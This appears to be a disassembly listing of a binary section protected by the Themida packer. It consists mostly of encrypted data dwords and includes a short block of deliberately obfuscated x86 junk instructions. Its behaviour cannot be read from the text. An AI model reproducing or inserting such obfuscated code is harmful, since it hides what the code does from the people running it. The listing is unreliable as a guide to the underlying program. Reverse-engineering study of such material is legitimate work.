16C3356Fh, 394D77A9h, 29B13629h, 0A2CEB15Eh dd 0BCB34656h, 544E8A58h, 0D008CDA9h, 19B13256h, 0F67AD9FDh dd 0CEB42229h, 4DCEB159h, 0EFA04750h, 0DCB575DDh, 0B65A3E09h dd 5EB575DDh, 0F95A3E09h, 0FEB575DDh, 0E59A3E09h, 585AB152h dd 0ADA14DD5h, 7CF03323h, 0AAEDBB8Fh, 2A4E8A57h, 0EF08CDA9h dd 86B13256h, 0DB36D9FDh, 5DB9F09Fh, 0CE5DB903h, 6CB977DDh dd 0A3C33E13h, 0A2A1776Dh, 0E95ACA55h, 14B1D9AFh, 0BABDF09Fh dd 0DE5DB903h, 46D1CE92h, 57B13256h, 0BA5BB30Ch, 0E6B77C1Ch dd 636A019Fh, 0CF3ACE0Bh, 0BCFF0CBFh, 29B10DD5h, 518EB132h dd 90323723h, 2840D942h, 0A1B13629h, 0E6CEB15Eh, 9EB34656h dd 46F4CD5Eh, 0B6A5F5D5h, 0BECEB18Dh, 0D4BE4653h, 0DEB72229h dd 923A7347h, 0E6EEB952h, 323A2FBDh, 0B6EEB952h, 1A3A21BDh dd 0A2EEB952h, 0D4B56D7Dh, 0D43237BDh, 0D4C43146h, 63681917h dd 0CDB0330Ah, 454ECDA9h, 5DB137EFh, 451AC156h, 123A53C1h dd 0FB72FBAAh, 0D5596107h, 0B0B13256h, 3F2DD8D7h, 203C3418h dd 5BFF0D57h, 0AEB156EEh, 5763DA56h, 0A03A3256h, 0C15AF36Dh dd 0D1B57955h, 76A64097h, 7B8A221Dh, 5F5A3024h, 0BC5A26BDh dd 9B6BA8DBh, 784E3418h, 4F3C3ABDh, 0ECFFE256h, 2CEAE1A9h dd 31E4F10Eh, 5DB1DABAh, 2FEB3256h, 19FBD9BCh, 113C5250h dd 0D3FF0D57h, 63B977DDh, 79F4B951h, 31B575DFh, 1A382213h dd 0BAF4B95Ah, 36A175DFh, 0ABA1F09Fh, 0B834F436h, 0ADB77A71h dd 62C2283Eh, 2F04CDFEh, 0D0B77A77h, 0E5322CD3h, 561CD50h dd 949CB8DBh, 2AE03418h, 683C6886h, 73FF0D7Bh, 0B6F18559h dd 52E3EADDh, 6DB26867h, 72ACB0DFh, 0C3D0341Eh, 0E85251h dd 5A000000h, 4B5CEA81h, 8B52064Eh, 48251D82h, 4E6DB906h dd 0E1F741C6h, 3039055Ah, 0FF250000h, 897FFFFFh, 48251D82h dd 0C3595A06h dword_5A18F4 dd 0E85251h, 5A000000h, 4B8CEA81h, 0C88B064Eh, 0FFFFBBE8h ; DATA XREF: Themida_:0053E74Co dd 0F7D233FFh, 5AC28BF1h, 0C08BC359h, 858DC08Bh, 64E419Dh dd 8B66D0FFh, 55858DC1h, 89064E4Bh, 4813CD85h, 85858D06h dd 89064E4Bh, 4819DD85h, 0B806h, 0C00B0000h, 47840Fh, 85C60000h dd 648276Dh, 30DF6856h, 0B5FFA9C5h, 6482195h, 831E858Dh dd 0D0FF064Bh, 818D8D50h, 5106482Eh, 68046Ah, 0FF000010h dd 4809A9B5h, 8BD0FF06h, 4809A9BDh, 3C7F0306h, 0F8C781h dd 47C70000h, 2024h, 759D8D60h, 8B06481Ah, 0FC00B03h, 584h dd 89008B00h, 0F6B90443h, 8D00234Ch, 4E4D088Dh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 9D8B3C85h, 6480D3Dh, 0A198D89h, 6A0648h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 6640D2C3h dd 0C281D78Bh, 2314F2E6h, 0F3585C7h, 71480648h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 85C783C3h, 6482425h, 0 dd 5B5FFF8h, 0E906480Dh, 0Dh, 83DA0F1Eh, 94B9DD3Ah, 252D904h dd 0BD95FF8Ch, 6A064820h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 0CBF5C353h, 958B45ABh dd 6483065h, 95FF006Ah, 6483061h, 3AEBC08Bh, 5FA29D7Ch dd 0D9BBBD30h, 9FC3869Fh, 7C6AE5C0h, 0E3E08104h, 0E624A622h dd 4B97E92Dh, 5DF7FBCh, 68672E19h, 0AA4FC60Bh, 0EC51BDF6h dd 2BAFAAEEh, 0CB71D67Bh, 3C5372D7h, 8D8D7574h, 64E4E14h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 54C35343h dd 0CAD6A24Ah, 366CE3AAh, 0AE85050h, 6D000000h, 0ED84467Fh dd 5DA15F59h, 5F5A5F5Dh, 8D89C38Bh, 6480A19h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 69C35141h, 0F57E0572h dd 1E759D89h, 0BD8B0648h, 6482C71h, 0F3585C7h, 65F40648h dd 0B5890000h, 6482031h, 242585C7h, 648h, 0DE90000h, 1000000h dd 0EB93C8D2h, 4C69C26Ah, 0C3F1DCA0h, 1BEDB5FFh, 14E90648h dd 8F000000h, 74FD90E2h, 613F2D74h, 0E77E67D4h, 0C2A84729h dd 0FF6093AFh, 4820BD95h, 2AC08006h, 95FF006Ah, 6483061h dd 1FEBC08Bh, 77DFFD3h, 0E2028057h, 6F336E05h, 156FFCC2h dd 0D6806B0Fh, 37716A58h, 424733C6h, 0E863FC16h, 7, 2B42BAAh dd 0F4A0F0Eh, 68Dh, 0F5B58900h, 5B064820h, 1A01852Bh, 0C3810648h dd 5978h, 0B758D29h, 35680648h, 60000016h, 68A0Fh, 0BD890000h dd 6480615h, 6800Fh, 0B5030000h, 6481F25h, 94B85A61h, 0FF4FA083h dd 0CBBF6633h, 81FC5E5Fh, 166DEFEEh, 0B9858B64h, 81064824h dd 58523F6h, 94C68140h, 0F4CC556h, 3389C9B7h, 81C9BF0Fh dd 95DCC7EBh, 8E944h, 5E800000h, 4709E2DEh, 0C3813F48h dd 4495DCC3h, 0BE9h, 20698E00h, 11A38CC1h, 487115B1h, 0F01EA83h dd 0FFFFA685h dword_5A1C50 dd 0CF8B66FFh, 545B08EBh, 5975h, 47E90000h, 6800000Bh ; DATA XREF: Themida_:005511CCo dd 64E50A0h, 0FAF837E9h, 519968FFh, 2DE9064Eh, 68FFFAF8h dd 64E535Eh, 0FAF823E9h, 544168FFh, 19E9064Eh, 68FFFAF8h dd 64E55D1h, 0FAF80FE9h, 57C068FFh, 5E9064Eh, 68FFFAF8h dd 64E58ABh, 0FAF7FBE9h, 0B6D3E8FFh, 3D546B6Dh, 0ABE6F602h dd 39506878h, 0ADE4FA06h, 27E8D472h, 0B749FA97h, 1B1D6623h dd 8898CBBEh, 16235C35h, 68CAC695h, 0D929AB8h, 0D6BB2231h dd 7E13AA32h, 0CCBD1B8Dh, 1C01F538h, 0A858B42Bh, 6A5E688Ch dd 0DF57C90h, 0C262511Ah, 0E1ECAFBDh, 0CE8DC243h, 3A3518EDh dd 1E6E5BBFh, 5DA74E39h, 0EB9DE72Fh, 286177CDh, 38CC919Ch dd 292B01F5h, 259BA7D2h, 45h, 58E31F9h, 0A106B7ABh, 14DF4873h dd 0A106B7FCh, 6D9D79C4h, 5E2D1EE6h, 0AFBE54EDh, 37B05477h dd 0E5050BD8h, 82CDA74Eh, 0E4E12B98h, 0EC20A74Eh, 7BED6222h dd 2512B70h, 9F7DB7A3h, 9B9BA92Dh, 0E8h, 0D6BB2253h, 7247B932h dd 0DEA3E6D2h, 0B7929E6Dh, 0F75AA106h, 860BD303h, 0CEC31A62h dd 0C493E25Dh, 8FE4FCEFh, 3B1F622Fh, 32C15E97h, 0A105EFDEh dd 9A9665A6h, 62A105EFh, 0A838225Fh, 18C37C15h, 0A105F71Eh dd 0E8740FAEh, 385965EEh, 501988F7h, 0F7C6520Dh, 131A8E9Ah dd 0F5C838B3h, 78939D66h, 0F05BA106h, 7A0FAB2Dh, 57945FA0h dd 0E1AFBE13h, 0B8AFA5DEh, 8831DF48h, 0BD81501h, 0B601B12Dh dd 0C098CF08h, 90BA5CA2h, 991EAD03h, 174A75ADh, 9B8CAF23h dd 7FC0D1EDh, 0F5345D81h, 0FC5566CDh, 0EFB31ECEh, 82000008h dd 0F1EF3059h, 8080C3CEh, 0EEEA355Ch, 7484BFCAh, 4A5C276Ah dd 0D4BD21EEh, 5C2D8D8Bh, 0C5C41523h, 325F7E7Ah, 48FF0F1h dd 9AB867ACh, 22172774h, 8E8AD5BCh, 0CCBD1D2Fh, 0D3EA9691h dd 0ABD35CBEh, 5CCF373Eh, 0BE541C8Fh, 8D9BA6AFh, 4EE3CCE0h dd 75810BA7h, 0A880C856h, 0E1C49Bh, 319A0000h, 0B7AB058Eh dd 4873A106h, 0B6DB02EEh, 96FBC335h, 0BED3EA72h, 5A272Ah dd 5F328CDCh, 0BF1224C9h, 0FFB1A106h, 171AAEDBh, 0BD494714h dd 0AE11A106h, 50419C4Ch, 0FB9629D7h, 0AF78E2EDh, 62BB0740h dd 0ADC22317h, 51409D49h, 2DF061D6h, 0C3CBB9D6h, 0DBE9A039h dd 326666D0h, 0E760CB3Bh, 71F3E597h, 26C733D4h, 0BE5F2E5Dh dd 6A50B8AFh, 0D68BFEDAh, 8DA3397Dh, 36EB1FE9h, 0C00007EDh dd 9CCDBC47h, 0E853B602h, 642D91FFh, 0D0C11D1Bh, 545B7399h dd 0DB074FCh, 7F6h, 0C573289h, 0A5DEB30Ch, 17484993h, 0A9DAAF09h dd 194A4797h, 0F8C64375h, 805AE699h, 0EFCA5609h, 8657E99Ah dd 66C9580Bh, 0B866939Dh, 70CE5B9Ah, 52D5BC22h, 4F7514A6h dd 0B345EA4Ch, 34E4672Ah, 0FE41E7AAh, 226B131Ch, 0A355D6BBh dd 3AFA671Ch, 5F8FFD4h, 6EFEDE38h, 1B01424Fh, 0B03BAC14h dd 0AFBDF097h, 48481374h, 10A74E01h, 0A4EC77h, 616CA74Eh dd 0A7AA3A1Ch, 0ADE4F981h, 0A1F0CE3Ah, 59DE3883h, 8D9BF6C7h dd 4C3D9C0Ch, 10010DBh, 85C8A74Eh, 0A6432891h, 0FCF83503h dd 573A83F2h, 9BB10C0Ch, 15164B3Eh, 0DD83A99Ah, 0F51F9767h dd 88145FBFh, 0ECF04A0Bh, 94892C7Fh, 727CF82Eh, 8CD7BA03h dd 0C460318Ch, 0B843E443h, 2E948878h, 0D2DEFD40h, 9A2E9488h dd 0B1F6C337h, 862E9488h, 6875000Eh, 0D3EAF629h, 0C124DBEh dd 0B7ECC82Dh, 54C004F6h, 0BE87D7DDh, 9C6434C3h, 0CE9D66E1h dd 983D4C61h, 30AEA35h, 0B8BB48C3h, 8243946Ah, 0E744A93Fh dd 283B2498h, 0A3B11AE4h, 9F2F7E31h, 3BCh, 5E7F317Fh, 45F6C733h dd 0E35E83BCh, 56658C78h, 0A91910E4h, 0FE12E13Eh, 0C6A10633h dd 337AB645h, 0FF42A106h, 4C17D842h, 0AFBDCDABh, 0BF604A75h dd 31256C51h, 3D8DC488h, 0C8F19F27h, 201823C1h, 0F639CFBAh dd 8979F004h, 0CF8AD59Eh, 0A9143714h, 8E2EDA1Bh, 99DAE503h dd 0FA9CC222h, 0EFE5884h, 2A5F7A07h, 3684F4F7h, 9325B553h dd 92CFD2F6h, 0FB5F328Ah, 967571FAh, 79013D57h, 53E62960h dd 37DF2F08h, 85F3F429h, 42EE5938h, 0CDD0F49Dh, 0A934C469h dd 0CB1541E8h, 0CE5E74FEh, 63123h, 92F7C400h, 21704FD1h dd 97FAE25Eh, 1D6C4CCCh, 8908D662h, 8384B8D6h, 0B0D563Bh dd 97A9DAAFh, 0FCFC4742h, 726FB0E1h, 652E8211h, 0A9F69AB8h dd 9FB63195h, 0E828B339h, 0B0A105BBh, 873BC28Dh, 0CA41B1A5h dd 658211FAh, 2FAFBE60h, 9665F6C7h, 0A74E709Ah, 5F225F62h dd 0F59C41C9h, 828CE8CFh, 562AA502h, 44098A87h, 0D2DC34CBh dd 99A4A74Dh, 0FEC64DBDh, 0CD697E0Dh, 833B605h, 4C711Fh dd 914B0D9h, 0BB3DE254h, 11596F22h, 543DA0ACh, 14B06DB0h dd 0D99C6AC2h, 9CD28D04h, 0A1EF7ABAh, 277B6h, 373E7800h dd 6A8F5CCFh, 30AFB468h, 506E1A0Dh, 0DC02FE41h, 39D60FB5h dd 550666AAh, 19232EA7h, 0F23DCBC6h, 672BB08h, 0A13CA755h dd 0F9979DE2h, 0D50CD8Ch, 993B425Ch, 2C8F5502h, 54Eh, 0D48FFAE1h dd 4D167B44h, 0DFA0F1CBh, 51127761h, 0E1A2EFCFh, 409E6BCDh dd 0A8120E51h, 37A29EE1h, 0AE0F1152h, 1EA1A0E3h, 0B8643B55h dd 0C896039Ah, 358A373Eh, 8926215Ch, 70CAC717h, 0B4693663h dd 33D1FCAFh, 0AC771AA3h, 10FDC3Bh, 0CDA75507h, 45889CEDh dd 3EAA8CAFh, 86D6F29Fh, 3ECE5A37h, 84D4F0A1h, 7CAF5534h dd 0A2348690h, 8405D345h, 1F95D60h, 0BE218FF5h, 667767D3h dd 6850C02Bh, 40B80321h, 0CAD5F39Eh, 0D848C770h, 317C8801h dd 74CB08DEh, 46B039F2h, 0AED56EF0h, 1966A9Bh, 22440000h dd 0BDD3A0BBh, 89A106B7h, 70DB5930h, 0EECF17ADh, 58519E95h dd 33EEDEE4h, 0BD050CF0h, 0E092C14Ah, 7B1CAFBDh, 5E414F1Ch dd 0C609A74Eh, 4E5E1719h, 0A1DCDFA7h, 5DD6D683h, 7715A74Eh dd 0F6FA5C6Fh, 3EEA9BA7h, 0F308F29Fh, 3Dh, 9C6EDB54h, 0F4EBEE58h dd 0FB5D4E4h, 3E242A0Ch, 8F5CCF37h, 0AFBE541Ch, 0C8D9BA6h dd 0E650419Ch, 4EE3CFDDh, 16790EA7h, 4EE4434Dh, 56C00BA7h dd 997B509Eh, 959BA880h, 0B3h, 0D6BB2249h, 7D14AA32h, 647D558Ah dd 0C7F1FD79h, 6011246Ch, 78E2A6E8h, 0D8B90454h, 7021BC4Ch dd 0DEB30977h, 0C434B37Ch, 14BD99F8h, 0A105FD02h, 0E5662B92h dd 0FA77B942h, 0EE3FA105h, 0EB3B197Fh, 3E186569h, 0B40C03F9h dd 83BA833h, 7AC5AFB9h, 0D2BF1F91h, 622F8F91h, 9DEDFF2Bh dd 7DE08402h, 3BEh, 641F6A51h, 0BD860BD4h, 2FF0A13Bh, 0C18207B1h dd 31F29F3Fh, 0D0EE1B1Dh, 58827EC1h, 0C7F2EE31h, 5E7F81C2h dd 8EF1F033h, 0B862AB05h, 1826739Ah, 345D7F31h, 318B8D90h dd 0D4EAF660h, 677682BDh, 0C1ABD8E5h, 708605DAh, 0AAF5134Eh dd 2292AC77h, 0AA32D6BBh, 2A8D7E13h, 0B7B2FE8Dh, 577AA106h dd 6B768A8h, 0CD730A1h, 0A106B804h, 5ABC81CCh, 0D3E85FD5h dd 4FB8850Ch, 0BEA8A7C4h, 0BA4E71AFh, 4EC6F515h, 9F67C3A7h dd 0A08B7BF2h, 147BBA27h, 0A098135Ah, 76B94F3Ah, 0D3986384h dd 9DB60782h, 92FEF132h, 4EF86227h, 2B91BB22h, 0B84D6330h dd 0AA15A106h, 134E5177h, 3A576818h, 13B7A3AEh, 0CC97FAC3h dd 8110AD5Bh, 9C286177h, 0DE55A591h, 0BD9665E6h, 5AAFBE5Ah dd 98820FAEh, 0F838C344h, 0D3A74ED8h, 4ED90808h, 676DD0A7h dd 30D4BD1Fh, 0D7ED30EDh, 0C7CAF29Eh, 0D9266653h, 2765A74Eh dd 716AECDFh, 4A669BA8h, 0F1000000h, 0D06BC54Eh dd 833A74Eh, 373E282Eh, 1C8F5CCFh, 0B9AFBE54h, 75B3497Eh dd 0E0ABCD23h, 0A74ECBD0h, 0EE83598h, 0E85573DEh, 0A74ECBA4h dd 0E9F4A4E3h, 16111CA8h, 4ECC434Dh, 56C00BA7h, 997B509Eh dd 959BA868h, 0D4h, 0D6BB2249h, 0E729B255h, 0C2A106B7h dd 6B7F739h, 787CBFA1h, 40E4AD10h, 0F6D640FDh, 0AB395866h dd 0F90F825Bh, 139A4780h, 844A3EB4h, 48B8F883h, 3D80A106h dd 0ABB00DD9h, 648D0E0h, 0D0E0ABA1h, 98A10648h, 0E19C9F35h dd 5031859Eh, 60D0A106h, 0ABF6127Fh, 533E9F4Fh, 0FC9528D8h dd 0BA03151Ah, 4EC531D7h, 5E67576h, 8FAFBE4Eh, 84F4F32Ch dd 12E25435h, 0B340AB1Bh, 0B601602Eh, 19E89B4h, 0F9BDDDC6h dd 80DA9012h, 434E70h, 7AB3DE00h, 0FC557378h, 0CF0669FBh dd 62000001h, 0D14F1079h, 60E0A3EEh, 0CE4A157Ch, 54E49FEAh dd 2A3C078Ah, 0B4DD010Eh, 3C4D6D6Bh, 0A5E4F503h, 127F5EDAh dd 0A46FD051h, 9AB8608Ch, 2277C754h, 8E8AD5BCh, 8521622Fh dd 5CCF373Eh, 0BE541C8Fh, 8D9BA6AFh, 73D9C0Ch, 7E8AD7B2h dd 7A0FA933h, 0CAF7636Eh, 0A74EE3C2h, 48838B01h, 9BA880D6h dd 0C8D2h, 0BB228C00h, 47B932D6h, 0C5081C75h, 72E4A533h dd 0AB395866h, 731EBE6Ah, 0E7D24A55h, 0DF3B86A2h, 6BEA4F2h dd 0E8A934A1h, 7D14A937h, 5C822E67h, 7B7E8F35h, 9B644704h dd 0B545B16Ch, 53C546BEh, 7316C28Ah, 23171AAEh, 25B365C2h dd 997DC064h, 0BEFA3B30h, 0C97AC5AFh, 8BFEDA46h, 0ECD45BAFh dd 195070FBh, 7018B602h, 0BFC4148h, 0B74D3C9Dh, 0B3658274h dd 1B1D662Bh, 9F9FCEC3h, 34FC54DFh, 0E4CD70h, 64770000h dd 1DE5A25h, 6B51CF90h, 0FDDB5D26h, 7945D38Ch, 0F5476718h dd 7CC7CA14h, 0F82B5E7Ch, 87B8D1E8h, 0F22D6479h, 0B9F784E7h dd 819AB85Fh, 8E31421Ch, 6B7AB05h, 0EE4873A1h, 6AB5DC02h dd 1424F6Eh, 0A0BB2265h, 6B7BDD3h, 73A85A1h, 4D4499E1h dd 962B2212h, 70BB4948h, 84B13AADh, 1DAFB468h, 59FF17Ah dd 6467A755h, 49DFE2F2h, 0AA751CC1h, 0E6028F2Eh, 377902A5h dd 0FFA75506h, 0F12C6577h, 6236DF6h, 0E0EBA755h, 4904D76h dd 0D3410D18h, 0FE932A4Bh, 8956C245h, 1BC22E08h, 723A7576h dd 6F86CE7Ch, 164B3E9Bh, 0B967A024h, 575A6E23h, 0A4E5F3E3h dd 0A1165980h, 8B1FC8E7h, 0D9110574h, 3C55680Dh, 49940403h dd 8571BC48h, 0F70D8459h, 3E52217Eh, 6069000h, 3745FBBh dd 4A000000h, 0B9226DB9h, 19A434D0h, 0BD1C6C78h, 0AB038CCh dd 0BD21697Fh, 16A830D4h, 0BB1D6D7Bh, 0AB23ACEh, 0C6196187h dd 52D93DCBh, 0B850E289h, 81337D4h, 1E034335h, 35D0F736h dd 27750A54h, 3503E8C1h, 1CD0F823h, 8358C201h, 148704EAh dd 52685C24h, 8900006Ah, 8952240Ch, 4C281E2h, 81000000h dd 4EAh, 24148700h, 242C895Ch, 4E4F3A68h, 240C8B06h, 4C481h dd 8B540000h, 0C481242Ch, 4, 8BF5750h, 89000000h, 0E8015FF8h dd 0FF580889h, 835D2434h, 34FF04C4h, 0C4835924h, 0ED02E904h dd 8317FFFAh, 723902E1h, 0B4B872B5h, 3064E59h, 0A0E0FFC5h dd 0AB03C1ACh, 381A3EB2h, 0DA5BF162h db 3Bh, 96h, 49h byte_5A27C3 db 8Dh ; DATA XREF: Themida_:0053CE84o dd 4E5B1D8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0E1BD89E5h, 8906481Eh, 480A198Dh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 3585C7FBh, 6406480Fh, 6A000059h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0B391C352h, 850927EEh, 64804BDh, 1158589h, 85C70648h dd 6482425h, 0 dd 0FBD8589h, 0B5FF0648h, 64826E5h, 95FFD88Bh, 64820BDh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 4BC35343h dd 0CB8BBC17h, 0F28090F1h, 0FF006A54h, 48306195h, 0EBC08B06h dd 0A65F285Eh, 0C8ED8D9Fh, 0D5C55174h, 975B86E7h, 119474DDh dd 41CDF0DCh, 0ABF6A0E6h, 0F13E1106h, 33E936Dh, 0A73228C9h dd 9A254204h, 1C8BAF8Ah, 1633E7B8h, 0AEA823A3h, 834C277h dd 91805CCBh, 8A017042h, 15D12264h, 0DD455311h, 0BDFF13EAh dd 7954D520h, 9041CF25h, 81207C2h, 0E875E4E9h, 7, 5F16F73Bh dd 89CCF484h, 481F598Dh, 9D295E06h, 64810CDh, 5F3BC681h dd 66600000h, 8B8443BEh, 481A5995h, 0FF336106h, 239858Bh dd 1C8B0648h, 0D1C3813Eh, 8B1FDC87h, 481EE18Dh, 68EB8106h dd 66205064h, 814696BAh, 1EB4C5C3h, 1D858B0Eh, 53064820h dd 3E048FF8h, 0E95AF856h, 6, 0D48F01EFh, 0EF8376E5h, 14E804h dd 0E470000h, 0C576C0FAh, 80629C74h, 74549A67h, 0E496CC4Dh dd 0BD31F858h, 6480D31h, 5CFF815Ah, 0FFFFFA1h, 0FFFF9985h dd 0BD858BFFh, 0E806480Dh, 0Ah, 43FD1972h, 838803EFh, 0BB6655E0h dd 2B58C6C6h, 480F958Dh, 5FC08106h, 80000067h, 0B468CECBh dd 89000019h, 481F298Dh, 85895E06h, 64825DDh, 0BD89108Bh dd 6482465h, 8A07F281h, 8531532Ch, 6481CBDh, 0B25CF281h dd 9D8944B1h, 6481CA9h, 31FCF281h, 80600438h, 61FCE8C0h dd 0FA8B1089h, 0E904E883h, 0Bh, 6547DCEEh, 5D102BD6h, 81524EF6h dd 1EEh, 0B1850F00h, 0E9FFFFFFh, 0Fh, 0BEE8F3Bh, 0DE35381Ch dd 0BBA5CB8Fh, 0EB539721h, 8, 0E7800000h, 4ABE943h, 0EF680000h dd 0E9064E5Dh, 0FFFA208Bh, 4E5E6B68h, 2081E906h, 0B868FFFAh dd 0E9064E5Fh, 0FFFA2077h, 0D47CC89Ch, 0D67ECA83h, 0D57FCB85h dd 0D67ECA84h, 0D67ECA85h, 0E5FA7F47h, 0EBFE9F99h, 0EFE4B59Fh dd 0F2E8B9A3h, 62AAEA6h, 150F74EAh, 111DB856h, 6D7E5586h dd 0C6B2ED61h, 49E03F4Fh, 0F52C29FEh, 6EE062Ah, 8D42131Fh dd 0FEFA2341h, 518EFC4Bh, 9CBB848Eh, 7BC27AC6h, 0B995B3C9h dd 498EB7E6h, 565EE948h, 560EB85Ch, 0AFFF4D05h, 5A4BADC9h dd 3669E24Bh, 4500D23h, 43FE63Bh, 2CD72E44h, 6CE22111h dd 5B3A0E57h, 2DF2Ch, 0BF4FC200h, 49F70D2Fh, 418D4475h dd 5B172306h, 498E9594h, 0A2BE3FE2h, 0B8EBFC61h, 0E6829AAAh dd 0BBE0710Ah, 0D68ABB44h, 0C168C18Ah, 0E3FDDE86h, 84B47B97h dd 3EFCD06Ch, 6E46F3F8h, 0CA84B593h, 0D25CC57Eh, 0A3B9B18Ah dd 9CC861ADh, 0BD59A5BBh, 0DDF1CD99h, 4AF40869h, 8DCA64CBh dd 9AABBFD5h, 0F408E0D6h, 54AD544Ah, 0BD8D76CBh, 89DEBB18h dd 0EE747DEh, 893793A8h, 2F57FDEh, 0C2920000h, 0C09DBE76h dd 0C59BBC74h, 0C89EBF79h, 0CC83D47Ch, 8149D880h, 9D97E3FCh dd 9F99E5FCh, 0B7A1EDFEh, 0B0A8F4E6h, 7AEC002Ch, 0BA561510h dd 5586171Bh, 10F9327Eh, 0FB113306h, 25716C4Dh, 7F7D5109h dd 0AD4988EEh, 0AC5F652h, 9893DFF4h, 0BFE058B1h, 9F005CA8h dd 87000D02h, 29058591h, 1D631D03h, 77152A04h, 0B6883D42h dd 0C297ADA5h, 8C7F8F76h, 0E7350F6Eh, 279D93Ch, 46160000h dd 442142FAh, 491F40F8h, 4C0253FDh, 50075800h, 5CD4C04h dd 211B6780h, 331D6980h, 2B257162h, 42C786Ah, 0E804C90h dd 1E561511h, 0E95B7BC7h, 0B34C420Eh, 41E04FC6h, 8C607CE8h dd 4FC6B31Ah, 3F1BF71Ah, 88EEB12Bh, 87C05F49h, 150F75EDh dd 0ABF7EC56h, 9FEBFFA0h, 9F769CA4h, 0AA6949F4h, 568E93Ah dd 4C054C66h, 5F0F94C2h, 90A95B3Fh, 0A2838FDBh, 16Ch, 1D69813Ch dd 115D7522h, 0D8F05027h, 9213606Ch, 0C469498Eh, 39DC0DDEh dd 21CE39B0h, 291F1F41h, 1F3D061Fh, 0EA98B4FEh, 0C59CA7F3h dd 4ABC4A5Ah, 4A0E84F0h, 7B53560Fh, 8F43F42Fh, 84570843h dd 0FB1AEF38h, 88B560A3h, 0EAF56BAAh, 995B39A8h, 2Fh, 0D3E95B2Dh dd 9E825975h, 45EC498Eh, 0DEF872FAh, 476F560Eh, 2C401C8Ch dd 560EDF3Ah, 37F03C2Fh, 39D53CD2h, 3941881Bh, 90FB5Bh dd 81930000h, 22945869h, 474FC6B3h, 40DF4793h, 26415EE9h dd 3C2E51DAh, 520837F0h, 86224E06h, 0EB4FC6B6h, 0BE0AE1F7h dd 0B686ED67h, 4DAEC29Eh, 0FF498C24h, 3F184420h, 0EF3B152Bh dd 0DA340D16h, 1E16627Dh, 0F816627Dh, 0CAF4C813h, 2C58BD66h dd 0C9000001h, 0CC8DC713h, 0CA8BC511h, 0D192CA16h, 0CE8FC915h dd 0F463CD19h, 428E49CEh, 4490491Ah, 4C984B0Ch, 539FB3E4h dd 0A5A9F5E9h, 561512B1h, 815E6083h, 849A5066h, 7FA67FCBh dd 82CE84D5h, 698170DAh, 617A221Dh, 2D797086h, 45F60FF2h dd 1D043F8Bh, 428E4411h, 5E724E1Ah, 4FC6B2E8h, 0E649E54Ch dd 39223E56h, 1E46D01Ch, 8EF9FC52h, 0D8CF3049h, 19EBD6BCh dd 30FB4721h, 6BD930D9h, 0F49954Ah, 24706253h, 0EBE8620Ah dd 6179560Eh, 657A1B15h, 942F0E19h, 0E3000000h, 420EE95Bh dd 4FC6B34Ch, 7CE841E0h, 88EE7870h, 0DB89A849h, 7B97E3FAh dd 71BD95C2h, 78C496C7h, 0A5A995AFh, 56150FB1h, 0DA929C83h dd 10BDAFD3h, 950AC91Fh, 96C771BDh, 0F0CC78C4h, 0AE706ADCh dd 9CE8FF93h, 0C968BEA3h, 0AFA7D86Dh, 0FFD40563h, 0AE9178B3h dd 9AA36FBBh, 0A0B9A2EEh, 9C76CB54h, 0F8EA5FB6h, 0FFD384ACh dd 0AEA495B3h, 0D56FD862h, 65A167ACh, 1A9AEF9Ch, 229118C1h dd 7F9E7891h, 0Fh, 14D0831h, 0F13D1946h, 0E03AD336h, 81176366h dd 73241F6Bh, 6718135Fh, 801F2874h, 75221D69h, 62150E5Ah dd 7926216Dh, 6916115Dh, 7728236Fh, 7419125Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push 1290h mov [esp], eax push 3F41h mov [esp], edi push esi mov esi, 366C39BCh mov eax, 3CBA96A1h sub eax, esi mov esi, [esp] add esp, 4 push esp mov edi, [esp] add esp, 4 push edx mov edx, 8 add edx, edi push eax pop dword ptr [edx] pop edx push dword ptr [esp] pop edi add esp, 4 push dword ptr [esp] pop eax add esp, 4 jmp loc_544ACB ; --------------------------------------------------------------------------- dw 0D0DEh dd 3C77D8E0h, 6109B838h, 0C503064Eh, 5D55E0FFh, 2E365A33h dd 83984D0Bh, 6465272Bh, 0C981477Ch, 6B7756CFh, 13F7C86h dd 0DD4B71C4h, 9EA42CE7h, 81243619h, 193C1116h, 3A577CE5h dd 419F5AB1h, 2B4489Ah, 8D8D33A0h, 64E6270h, 0C8F0BF56h dd 895E1F83h, 480A198Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 81667A0Dh, 0C7DE4ADEh dd 480F3585h, 645806h, 2585C700h, 64824h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 0D719C351h, 950952E0h, 64821B9h, 0F5B5FF58h, 6A064825h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 0EF69C357h, 0ED5B6489h, 998D3360h, 8B06481Dh dd 481DB59Dh, 0BD896106h, 648226Dh, 20BD95FFh, 0BD030648h dd 6482B4Dh, 95FF006Ah, 6483061h, 78EBC08Bh, 0DB6817D7h dd 72B4DB16h, 0B09ED5E2h, 0A2848D94h, 3138EC0h, 14F8A24Ch dd 7BCAE13Bh, 7B0DAC17h, 1E4E0A60h, 0AC5A3765h, 0E251FB46h dd 4883F072h, 0B3A0C9EBh, 0F1FEFCFh, 360899D5h, 68D26195h dd 4D1A3CCh, 0F27D6044h, 48722AE0h, 8CDE20E0h, 84E8CD6h dd 594DDB55h, 881F927Fh, 6A31BF9Fh, 7A279F80h, 0D58BF6C0h dd 57188A0Dh, 0CB46FC4Bh, 0FBACA562h, 5DCDD457h, 63F18D8Dh dd 6A064Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 21B806C3h, 0BF663AF6h, 